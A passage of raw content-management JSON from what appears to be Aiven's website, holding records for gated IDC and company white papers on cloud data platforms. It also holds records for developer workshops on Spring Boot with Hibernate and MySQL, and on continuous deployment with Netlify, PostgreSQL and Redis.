Era"},"publishedAt":"2024-02-20T11:34:50.392Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"39b7b931-91b9-4b63-bc79-a23e3169e37d","_type":"reference"},"tags":[{"_key":"68f95f924fd5","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"372d4ab74df8","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"f70eee19c4af","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Essential AI insights: IDC InfoBrief on \"Building a Cloud Data Foundation for the AI Era.\" Learn to adapt data platforms for AI success.","metaImage":{"_type":"mainImage","alt":"Building a Cloud Data Foundation for the AI Era","asset":{"_ref":"image-6644cff4a7e429b9d814095807b0d8a3b6c51434-1200x630-jpg","_type":"reference"}},"metaTitle":"Building a Cloud Data Foundation for the AI Era"},"slug":{"_type":"slug","current":"/whitepaper/idc-infobrief-building-a-cloud-data-foundation-for-the-ai-era"}} {"__i18n_lang":"en","_createdAt":"2023-01-13T15:02:10Z","_id":"e364685b-5518-45c9-b64b-ae32c13e77b3","_rev":"97ScSe1K9UIWVy4zLcQDBl","_type":"whitepaper","_updatedAt":"2023-10-18T12:48:41Z","asset":{"_type":"gatedAndUngated","contentIsGated":false,"downloadLink":"https://go.aiven.io/Aiven_whitepaper_What_can_South_East_Asian_companies_learn","downloadText":"Download white paper","image":{"_type":"mainImage","asset":{"_ref":"image-2c63c26fe09fd39ca42a0f97ee94bfb9a8a476af-816x686-png","_type":"reference"}},"registerForm":{"iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2021-11-03/69lwh","iframeTitle":"White paper learning for South-East Asian companies from their US counterparts","title":"Get a download link to this white paper in your inbox"},"subtitle":[{"_key":"267b0aceb291","_type":"block","children":[{"_key":"ad9a1ca409700","_type":"span","marks":[],"text":"As a business leader in South-East Asia it’s vital that you understand what lies beneath the success of rapidly growing digital native companies not just locally, but also globally."}],"markDefs":[],"style":"normal"},{"_key":"69ccda4b6afd","_type":"block","children":[{"_key":"b7353032430f0","_type":"span","marks":[],"text":"What's inside this white paper:"}],"markDefs":[],"style":"normal"},{"_key":"3e74b9113020","_type":"block","children":[{"_key":"857f70358cf40","_type":"span","marks":[],"text":"800+ respondents from Singapore, Malaysia and Indonesia"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"463353faeb8c","_type":"block","children":[{"_key":"22d8a64c7f0b0","_type":"span","marks":[],"text":"Focus on digital native companies - companies born in the digital age that use data at the core of their business"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3af119f45dfc","_type":"block","children":[{"_key":"757d72b9ad3d0","_type":"span","marks":[],"text":"Comparison to their US counterparts"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e59c6d2e3f81","_type":"block","children":[{"_key":"b0155ee1b8d10","_type":"span","marks":[],"text":"Data infrastructure in the spotlight - named by the respondents as one of the most important facilitators of growth"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"As a business leader in South-East Asia it’s vital that you understand what lies beneath the success of rapidly growing digital native companies not just locally, but also globally.","thankyouContent":[{"_key":"3176c8f75aac","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"rounded":false,"subtitle":[{"_key":"5068254a2d70","_type":"block","children":[{"_key":"6cf92070fa3e","_type":"span","marks":[],"text":"A download link to the "},{"_key":"12301c9cd5dd","_type":"span","marks":["strong"],"text":"What can South-East Asian companies learn from their US counterparts?"},{"_key":"ca0a5279943a","_type":"span","marks":[],"text":" white paper is on its way to your inbox. Enjoy the read!"}],"markDefs":[],"style":"normal"},{"_key":"2d532504f199","_type":"block","children":[{"_key":"bed92b804011","_type":"span","marks":[],"text":"And if you have more questions around how Aiven can fit in your tech stack, why not book a demo with our friendly team?"}],"markDefs":[],"style":"normal"}],"title":"Thank you for your interest in this white paper.","variant":"oneColumn"}],"title":"What can South-East Asian companies learn from their US counterparts?"},"publishedAt":"2022-07-08T12:47:00.000Z","seo":{"_type":"metaData","metaDescription":"As a business leader in South-East Asia it’s vital that you understand what lies beneath the success of rapidly growing digital native companies not just locally, but also globally.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-25a506b6e034d5f2e9054183baa4db7be469b7fe-1200x628-jpg","_type":"reference"}},"metaTitle":"White Paper: What can South-East Asian companies learn from their US counterparts?"},"slug":{"_type":"slug","current":"/whitepaper/what-can-south-east-asian-companies-learn-from-their-us-counterparts"}} {"__i18n_base":{"_ref":"60c55015-fdbe-4926-9b0c-1f3cf3444631","_type":"reference"},"__i18n_lang":"de","_createdAt":"2024-02-15T16:37:47Z","_id":"60c55015-fdbe-4926-9b0c-1f3cf3444631__i18n_de","_rev":"uHzmvE2HQDA7PXHnJuA7mU","_type":"whitepaper","_updatedAt":"2024-11-01T08:57:51Z","asset":{"_type":"gatedAndUngated","contentIsGated":true,"image":{"_type":"mainImage","asset":{"_ref":"image-08b3ceac9cfb9bd34a1bd2bab68b97139758eaff-1920x1008-jpg","_type":"reference"}},"registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2024-09-27/vh76m","title":"Whitepaper herunterladen"},"registrationType":"iframe","subtitle":[{"_key":"c4560a077e7d","_type":"block","children":[{"_key":"862717c03eff0","_type":"span","marks":[],"text":"Führende Unternehmen erfassen, verarbeiten und nutzen riesige Datenmengen in Echtzeit."}],"markDefs":[],"style":"normal"},{"_key":"7e836ceb6db0","_type":"block","children":[{"_key":"9c2bbc618c110","_type":"span","marks":[],"text":"Entscheidungsträger erhalten Einblicke und sehen Trends in Echtzeit, nicht von gestern oder letzter Woche."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"81a425f439f8","_type":"block","children":[{"_key":"70c18c5ad3800","_type":"span","marks":[],"text":"Dabei profitieren nicht nur die Menschen von Echtzeitdaten, sondern auch Anwendungen und Geschäftsprozesse."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8caee33c8a4c","_type":"block","children":[{"_key":"437cd142c7060","_type":"span","marks":[],"text":"Viele Unternehmen implementieren in ihrer gesamten Infrastruktur Standards für die Datenaktualität im einstelligen Sekundenbereich und verlangen von ihren Anwendungen, dass sie diese Standards einhalten."}],"markDefs":[],"style":"normal"}],"summary":"Erfahren Sie in unserem neuesten InfoBrief \"Aufbau einer Cloud-Datengrundlage für das Zeitalter der künstlichen Intelligenz\", der von Aiven und Google Cloud gesponsert wird, die wichtigsten Grundlagen für den Erfolg von KI. Erfahren Sie, wie Sie Datenplattformen für Ihren KI-Erfolg anpassen können.","thankyouContent":[{"_key":"e8f3d1179a27","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-08b3ceac9cfb9bd34a1bd2bab68b97139758eaff-1920x1008-jpg","_type":"reference"}},"imagePosition":"top","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/l/890043/2024-04-18/tty7s/890043/1713440427FUFkSWG4/IDC__EUR251843324_Aiven_Infobites_DE.pdf","title":"Whitepaper herunterladen"},"roundedCorners":"rounded-none","title":"Vielen Dank für Ihr Interesse an 'Aufbau einer Cloud-Datengrundlage für die KI-Ära'.","variant":"mediaLeft"},{"_key":"u0patlcssnwg5zc6c45p11aco2v4hy4f","_type":"textImage","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-bb5ee8fc14fe877b037df79c23c9a5ec66031b81-2528x1440-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","secondaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Entdecken Sie die Aiven-Plattform"},"text":[{"_key":"b11acdd2ae4f","_type":"block","children":[{"_key":"4573e5d22ecc0","_type":"span","marks":[],"text":"Moderne Datenplattformen sind nicht nur Datenbanken: Sie können eine offene, All-in-One-Cloud-Dateninfrastruktur bieten, die die Werkzeuge vereint, die Sie benötigen, um sich mit den Datendiensten zu verbinden, die Sie verwenden, auf zahlreichen Cloud-Anbietern.\n"}],"markDefs":[],"style":"normal"}],"title":"Die vertrauenswürdige Open-Source-Datenplattform für alle, betrieben von Google Cloud","variant":"mediaCenter"}],"title":"IDC InfoBrief: Aufbau einer Cloud-Datengrundlage für die KI-Ära"},"publishedAt":"2024-02-20T11:34:50.392Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"39b7b931-91b9-4b63-bc79-a23e3169e37d","_type":"reference"},"tags":[{"_key":"68f95f924fd5","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"372d4ab74df8","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"f70eee19c4af","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Essential AI insights: IDC InfoBrief on \"Building a Cloud Data Foundation for the AI Era.\" Learn to adapt data platforms for AI success.","metaImage":{"_type":"mainImage","alt":"Building a Cloud Data Foundation for the AI Era","asset":{"_ref":"image-6644cff4a7e429b9d814095807b0d8a3b6c51434-1200x630-jpg","_type":"reference"}},"metaTitle":"Building a Cloud Data Foundation for the AI Era"},"slug":{"_type":"slug","current":"/whitepaper/idc-infobrief-building-a-cloud-data-foundation-for-the-ai-era"}} {"__i18n_lang":"en","_createdAt":"2022-12-19T08:31:45Z","_id":"b79e4e66-6364-4790-8d19-f11ec4b313fc","_rev":"E2EqFgH2t2FE0P1F1t06nR","_type":"whitepaper","_updatedAt":"2024-02-27T19:48:33Z","asset":{"_type":"gatedAndUngated","contentIsGated":true,"image":{"_type":"mainImage","asset":{"_ref":"image-bbccffb2ffd864264b7a26b9e924071d673eea1b-1000x1000-png","_type":"reference"}},"registerForm":{"iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2022-08-03/c5hj2","title":"Get a download link to this white paper in your inbox"},"registrationType":"iframe","subtitle":[{"_key":"7d0b29c8c3ec","_type":"block","children":[{"_key":"0208a602cfdf0","_type":"span","marks":[],"text":"According to IDC, Aiven enables your teams to perform more efficiently, reduce direct infrastructure costs, and provide improved database performance, agility and scalability."}],"markDefs":[],"style":"normal"},{"_key":"acf576e7906b","_type":"block","children":[{"_key":"ffc9692c1970","_type":"span","marks":[],"text":"Find out how Aiven makes teams "},{"_key":"e01965a51b0c","_type":"span","marks":["strong"],"text":"48% more efficient"},{"_key":"56bbef18ccf0","_type":"span","marks":[],"text":", allowing staff to focus on high-value activities that drive real business results."}],"markDefs":[],"style":"normal"},{"_key":"9ae05696bc5a","_type":"block","children":[{"_key":"13991599a24a","_type":"span","marks":[],"text":"340% 3-year ROI – break even in 5 months (average)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"48959731afaf","_type":"block","children":[{"_key":"6f8f36933e53","_type":"span","marks":[],"text":"37% lower 3-year cost of operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b4dd7022bea4","_type":"block","children":[{"_key":"c30598148553","_type":"span","marks":[],"text":"78% reduction in staff time for database deployments"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"According to IDC, Aiven enables your teams to perform more efficiently, reduce direct infrastructure costs, and provide improved database performance, agility and scalability.","thankyouContent":[{"_key":"857075eee160","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"64aa1ffd9136","_type":"block","children":[{"_key":"429c3415dc74","_type":"span","marks":[],"text":"A download link to the IDC White Paper is on its way to your inbox. Enjoy the read!"}],"markDefs":[],"style":"normal"}],"title":"Thank you for your interest in the Business Value of Aiven Data Cloud Solutions.","variant":"oneColumn"},{"_key":"76ccb4eef07b","_type":"textImage","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","darkTheme":true,"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-29d3ec44112d6b4fa8d72473f3803547a1c74601-900x847-png","_type":"reference"}},"imagePosition":"center","narrowImage":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"a0d9c1c3-d9db-4505-9be9-2cdc41f78178","_type":"reference"},"title":"Calculate your savings"},"rounded":true,"tagline":"ROI","text":[{"_key":"d16d347f2c6c","_type":"block","children":[{"_key":"f0e9d3b8139c","_type":"span","marks":[],"text":"Want to find out exactly how much time and money Aiven can save your company? In just 5 minutes, our calculator could help you save millions!"}],"markDefs":[],"style":"normal"}],"title":"Try our business value calculator - and save money","variant":"mediaLeft"}],"title":"IDC White Paper: The Business Value of Aiven Data Cloud Solutions"},"publishedAt":"2022-12-19T08:28:21.449Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"39b7b931-91b9-4b63-bc79-a23e3169e37d","_type":"reference"},"tags":[{"_key":"c51f4bd601d0","_ref":"29ac1f18-a883-4795-be2c-db6bdec86ace","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Download IDC's White Paper to see the true value of Aiven data cloud solutions, and how they directly benefit business operating costs.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-b189a67f472add2d32659b0779de6db0c915be42-1200x628-jpg","_type":"reference"}},"metaTitle":"IDC White Paper: The Business Value of Aiven Data Cloud Solutions"},"slug":{"_type":"slug","current":"/whitepaper/the-business-value-of-aiven-data-cloud-solutions"}} {"__i18n_lang":"en","_createdAt":"2023-10-13T09:07:01Z","_id":"1fbb85f3-26f2-414d-a0b9-c364984a92b9","_rev":"Gc7Qq2PHZBylrD6rwKOFBJ","_type":"workshop","_updatedAt":"2024-07-31T14:06:15Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"d0a30068f143","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"bfae2eb2cd3b","_type":"block","children":[{"_key":"1416eb97bba3","_type":"span","marks":[],"text":"What's Cooking in Our Workshop"}],"markDefs":[],"style":"h3"},{"_key":"c59469c923dd","_type":"block","children":[{"_key":"f416fd05d012","_type":"span","marks":[],"text":"Persisting data is a crucial part of any application that you build. It’s not always easy to map your business objects with your relational database. One of the tools that can help you with this is called Hibernate ORM (for Object Relational Mapping)."}],"markDefs":[],"style":"normal"},{"_key":"fab9e24c3fc9","_type":"block","children":[{"_key":"852c9dd2eb4f","_type":"span","marks":[],"text":"Join us in this workshop where we will learn the basics of Hibernate combined with the most popular Java App framework : Spring Boot and MySQL as a database."}],"markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"1acae9177f0c","_type":"block","children":[{"_key":"2c52770f397d","_type":"span","marks":[],"text":"Prepare for a Brain Upgrade "}],"markDefs":[],"style":"h3"},{"_key":"9fc375b84132","_type":"block","children":[{"_key":"8ecb09302212","_type":"span","marks":[],"text":"You will learn:"}],"markDefs":[],"style":"normal"},{"_key":"17bc767e363c","_type":"block","children":[{"_key":"731236bc720f","_type":"span","marks":[],"text":"Basics of JPA (Java Persistence API) and the most famous implementation: Hibernate ORM"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"447b979880a7","_type":"block","children":[{"_key":"c44948385af2","_type":"span","marks":[],"text":"How to design your Entities"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"528d032a2f27","_type":"block","children":[{"_key":"73a2a15e0277","_type":"span","marks":[],"text":"How to Leverage the power of Spring Data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"47bd3b4576f9","_type":"block","children":[{"_key":"c5abf54a4851","_type":"span","marks":[],"text":"How to avoid common pitfalls of ORM and learn best practices."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f4121fa84a23","_type":"block","children":[{"_key":"04d364c0cbd7","_type":"span","marks":[],"text":"Prerequisities"}],"markDefs":[],"style":"h3"},{"_key":"76894d7845fe","_type":"block","children":[{"_key":"54c664f59262","_type":"span","marks":[],"text":"Web browser"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bcd9f24e3882","_type":"block","children":[{"_key":"a3baf9482815","_type":"span","marks":[],"text":"Github Account. Here's the "},{"_key":"b58141f6db76","_type":"span","marks":["206edc0ac8db"],"text":"Github repo"},{"_key":"633d6768e2a5","_type":"span","marks":[],"text":" we will use."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"206edc0ac8db","_type":"link","href":"https://github.com/Aiven-Labs/spring-hibernate-mysql-workshop"}],"style":"normal"}],"darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-br","variant":"twoColumn"},{"_key":"759bba7255b1","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"7d4c875330f4","_ref":"8e573fc1-3cd0-4232-aea9-4e0adbc1754a","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Workshop wizards","variant":"withBio"},{"_key":"15295015370178774c74608ae0c1b48b","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"infoBanner":{"_ref":"d351f08a-0f1d-4d30-adf2-6c4d420732f0","_type":"reference"},"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-t","variant":"vertical"},{"_key":"2152e07cc7e0","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"06e470b87321","_ref":"52ddc983-a14f-46fb-ac5c-c6096dbb0547","_type":"devArticle"},{"_key":"09043b6ba6f6","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://github.com/Aiven-Labs/spring-hibernate-mysql-workshop","title":"Read more"},"image":{"_type":"mainImage","alt":"MySQL-Hibernate-workshop","asset":{"_ref":"image-709e275261c54c7b461b21dc626a29f6d18ef15f-800x400-jpg","_type":"reference"}},"subtitle":[{"_key":"a85987b6e4e0","_type":"block","children":[{"_key":"bb7a9780e9b50","_type":"span","marks":[],"text":"Take a look at the Github repo that we're using during the hands-on Data Persistence Workshop."}],"markDefs":[],"style":"normal"}],"tagline":"Github","title":"Github repo","variant":"default"},{"_key":"921db910cfce","_ref":"50ce171a-f333-426a-9419-4cdbe9a83478","_type":"workshop"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"roundedCorners":"rounded-t","title":"Related resources"}],"contentIsGated":false,"downloadLink":"https://aiven.io/developer-workshops","downloadText":"See all workshops","hasVideo":true,"image":{"_type":"mainImage","asset":{"_ref":"image-389e83f96d1705a685fae6504969e090e6b04abd-6000x3375-png","_type":"reference"}},"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"2c435cf21929","_type":"block","children":[{"_key":"051ec1191ab5","_type":"span","marks":[],"text":"In this hands-on workshop, you'll learn how to connect your Spring Boot application to MySQL using the well-known ORM tool Hibernate.\n"}],"markDefs":[],"style":"normal"}],"summary":"In this hands-on workshop, you'll learn how to connect your Spring Boot application to MySQL using the well-known ORM tool Hibernate.","title":"Data Persistence 101: Spring Boot and MySQL Edition","ytId":"48lSQRK8AAU"},"publishedAt":"2024-01-24T17:00:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"d744ba0c-d4f2-4e41-9a7d-94be2b77a3ff","_type":"reference"},"tags":[{"_key":"62c270d12f25","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"db0e527a19d2","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"14947760aa27","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Learn how to connect your Spring Boot application to MySQL using the well known ORM tool Hibernate. ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-389e83f96d1705a685fae6504969e090e6b04abd-6000x3375-png","_type":"reference"}},"metaTitle":"Workshop | Spring Boot and MySQL Edition"},"slug":{"_type":"slug","current":"/workshop/data-persistence-101-spring-boot-and-mysql-edition"}} {"__i18n_lang":"en","_createdAt":"2023-11-02T11:22:35Z","_id":"2357e829-9253-4cf1-83fe-8426d2e261cb","_rev":"Gc7Qq2PHZBylrD6rwKORhZ","_type":"workshop","_updatedAt":"2024-07-31T14:08:35Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"c5b3dc8e3f36","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"def7ff0d7e84","_type":"block","children":[{"_key":"53c4474d0ad50","_type":"span","marks":[],"text":"What's in the Workshop Recipe?"}],"markDefs":[],"style":"h3"},{"_key":"61c4571d06a3","_type":"block","children":[{"_key":"e020a87ecbc20","_type":"span","marks":[],"text":"Continuous deployment is a powerful technique, allowing a web application and associated data to be automatically published when the software changes.\n"}],"markDefs":[],"style":"normal"},{"_key":"6aa965aaf0b8","_type":"block","children":[{"_key":"ea7927f678fb0","_type":"span","marks":[],"text":"In this workshop, we’ll show you how to set up an existing application, that uses PostgreSQL® and Redis®* as backend services, for continuous delivery of itself and its data.\n"}],"markDefs":[],"style":"normal"},{"_key":"7930f76f8ed5","_type":"block","children":[{"_key":"99dfc78d4d210","_type":"span","marks":[],"text":"Using your own fork of the application’s GitHub repository, we’ll show you how to add Netlify integration, so that the app (and its data) can be deployed when a change is pushed to the repository."}],"markDefs":[],"style":"normal"},{"_key":"d0d5c4b2fda7","_type":"block","children":[{"_key":"bbb7dec6776a0","_type":"span","marks":[],"text":"You’ll get to demonstrate automated deployment of main, and also when a PR is created on a branch. This last is especially useful in continuous integration (CI) to allow reviewers of the PR to check the proposed change against actual data in a live scenario. It also allows writing integration tests against live data."}],"markDefs":[],"style":"normal"},{"_key":"2662c055bea3","_type":"block","children":[{"_key":"c47efd4823300","_type":"span","marks":[],"text":"And the application? Well, that’s fun in itself - it’s a nice demonstration of the benefits of a Redis cache for a PostgreSQL application."}],"markDefs":[],"style":"normal"},{"_key":"abbc53bbac2a","_type":"block","children":[{"_key":"331e73070b0b0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"6a89a5cd913c","_type":"block","children":[{"_key":"e6a17e20b7e1","_type":"span","marks":[],"text":"Prepare for a Brain Upgrade "}],"markDefs":[],"style":"h3"},{"_key":"81bb9a684640","_type":"block","children":[{"_key":"d3630b4e75530","_type":"span","marks":["strong"],"text":"You will learn:"}],"markDefs":[],"style":"normal"},{"_key":"286c2f302c26","_type":"block","children":[{"_key":"eb666f5dc8bf0","_type":"span","marks":[],"text":"How to create a free Aiven for PostgreSQL service"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9eb303b76ad2","_type":"block","children":[{"_key":"11d580ca5b780","_type":"span","marks":[],"text":"How to create a free Aiven for Redis service"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7a0241d0e2f6","_type":"block","children":[{"_key":"3983d988dbaf0","_type":"span","marks":[],"text":"How to configure an application using those services for continuous delivery, using Netlify as the example mechanism"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7e35ec7d9997","_type":"block","children":[{"_key":"ebc5277c12ff","_type":"span","marks":[],"text":"Prerequisities"}],"markDefs":[],"style":"h3"},{"_key":"e1bdccaa4e35","_type":"block","children":[{"_key":"c3a69f2d6edd0","_type":"span","marks":[],"text":"See "},{"_key":"4e0f825c167a","_type":"span","marks":["86452e66c862"],"text":"the workshop forum page"},{"_key":"af10a03b8548","_type":"span","marks":[],"text":" for more information about the prerequisites and how to set them up."}],"markDefs":[{"_key":"86452e66c862","_type":"link","href":"https://aiven.io/community/forum/t/continuous-deployment-using-netlify-workshop/675"}],"style":"normal"},{"_key":"b041d3a3b320","_type":"block","children":[{"_key":"10a24ff2f2220","_type":"span","marks":[],"text":"A GitHub account, and we'll be using git at the command line"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cf20ba74dab3","_type":"block","children":[{"_key":"391d54de890b0","_type":"span","marks":[],"text":"A suitable terminal window"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ecba8d09f947","_type":"block","children":[{"_key":"68dd476adcb00","_type":"span","marks":["d2653b658573"],"text":"Sign up for an Aiven Free Trial"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d2653b658573","_type":"link","href":"https://console.aiven.io/signup"}],"style":"normal"},{"_key":"b8ef768e3319","_type":"block","children":[{"_key":"72fadf6f0d210","_type":"span","marks":[],"text":"Install the netlify command, following the "},{"_key":"f7bfda48c46e","_type":"span","marks":["a0a5b7ea7d9c"],"text":"Netlify instructions"},{"_key":"72fadf6f0d212","_type":"span","marks":[],"text":", which requires "},{"_key":"aba6080ab984","_type":"span","marks":["05e1e88fef29"],"text":"Node.js"},{"_key":"d12aabd26c4e","_type":"span","marks":[],"text":". If you’re on a Mac, you can instead use \"brew install netlify-cli\"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a0a5b7ea7d9c","_type":"link","href":"https://docs.netlify.com/cli/get-started/#installation"},{"_key":"05e1e88fef29","_type":"link","href":"https://nodejs.org/en/download"}],"style":"normal"},{"_key":"088f3721bbb7","_type":"block","children":[{"_key":"ca9e62aef55e0","_type":"span","marks":[],"text":"Fork the "},{"_key":"a6caf873184d","_type":"span","marks":["9748c639afc9"],"text":"GitHub repository"},{"_key":"5d2b4eee3557","_type":"span","marks":[],"text":", and clone it to your machine (see "},{"_key":"a0711c9121eb","_type":"span","marks":["1f596937a07f"],"text":"the workshop forum page"},{"_key":"86e7387767ce","_type":"span","marks":[],"text":" for more help with this)"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1f596937a07f","_type":"link","href":"https://aiven.io/community/forum/t/continuous-deployment-using-netlify-workshop/675"},{"_key":"9748c639afc9","_type":"link","href":"https://github.com/Aiven-Labs/nextjs-no-netlify"}],"style":"normal"},{"_key":"477ca40f478f","_type":"block","children":[{"_key":"cf720a8a3139","_type":"span","marks":["strong"],"text":"If you don’t have a Netlify account, we’ll show how to set that up in the workshop itself."}],"markDefs":[],"style":"normal"}],"darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-br","variant":"twoColumn"},{"_key":"125da7f4ebcd","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"0d3a725249d2","_ref":"39de7edc-e73b-4450-8643-685356de411c","_type":"reference"},{"_key":"374b4f0c3e68","_ref":"8e573fc1-3cd0-4232-aea9-4e0adbc1754a","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","showProfilePage":true,"title":"Workshop host","variant":"withBio"},{"_key":"60d06d52829f","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center 